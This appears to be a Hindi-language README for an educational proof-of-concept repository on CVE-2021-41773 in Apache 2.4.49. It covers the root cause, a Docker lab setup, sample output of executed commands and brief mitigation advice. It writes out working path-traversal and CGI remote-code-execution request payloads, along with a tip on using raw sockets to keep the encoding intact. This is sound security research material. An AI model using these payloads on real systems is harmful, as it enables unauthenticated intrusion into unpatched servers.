
CVE-2021-41773 (Apache HTTP Server 2.4.49) का व्यापक विश्लेषण, जिसमें भेद्यता अनुसंधान, नियंत्रित प्रयोगशाला-आधारित शोषण, प्रूफ-ऑफ-कॉन्सेप्ट विकास, मूल कारण विश्लेषण, और शैक्षिक तथा रक्षात्मक सुरक्षा उद्देश्यों के लिए शमन रणनीतियाँ शामिल हैं।
शैक्षिक अनुसंधान परियोजना। सभी परीक्षण एक पृथक Docker लैब में किए गए थे। इसका उपयोग किसी भी ऐसी प्रणाली पर न करें जो आपकी नहीं है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2021-41773 |
| प्रभावित सॉफ़्टवेयर | केवल Apache HTTP Server 2.4.49 |
| भेद्यता प्रकार | पथ ट्रैवर्सल → रिमोट कोड निष्पादन |
| CVSS स्कोर | 9.8 (गंभीर) |
| खुलासा | अक्टूबर 2021 |
| समाधान संस्करण | Apache 2.4.51 |
Apache 2.4.49 एक्सेस नियंत्रण नियम लागू करने से पहले URL-एन्कोडेड पथ अनुक्रमों (%2e%2e) को सही ढंग से सामान्यीकृत करने में विफल रहता है। यह एक हमलावर को वेब रूट से बाहर जाने की अनुमति देता है। जब CGI सक्षम होता है, तो ट्रैवर्सल को /bin/sh की ओर इंगित करके और POST बॉडी के माध्यम से शेल कमांड भेजने पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन होता है।
cve-2021-41773-poc/
├── Dockerfile # Intentionally vulnerable Apache 2.4.49 lab container
├── exploit.py # Python PoC — uses raw sockets to preserve %2e encoding
├── SETUP.md # Step-by-step lab setup guide
├── README.md # This file
└── report.pdf # Full exploit development report
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
पूर्ण सेटअप निर्देशों और समस्या निवारण के लिए SETUP.md देखें।
requests लाइब्रेरी भेजने से पहले %2e → . को सामान्यीकृत कर देती है, जिससे एक्सप्लॉइट विफल हो जाता है (400 लौटता है)। यह PoC HTTP अनुरोध को बाइट-दर-बाइट भेजने के लिए रॉ सॉकेट का उपयोग करता है, जिससे एन्कोडेड ट्रैवर्सल अनुक्रम ठीक उसी रूप में संरक्षित रहता है जैसा Apache 2.4.49 को प्राप्त करने की आवश्यकता होती है।
ट्रैवर्सल पेलोड:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
RCE पेलोड:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache ACL जाँच से पहले %2e%2e को डिकोड करने में विफल रहता है, अनुरोध को संसाधित करता है, उसे CGI के माध्यम से रूट करता है, और POST बॉडी को शेल कमांड के रूप में निष्पादित करता है।
/ पर कभी भी Require all granted का उपयोग न करेंAbdur Rehman Siddiqui
एक्सप्लॉइट विकास — कार्य 3
यह रिपॉज़िटरी केवल शैक्षिक उद्देश्यों के लिए है। लेखक इस सामग्री के किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।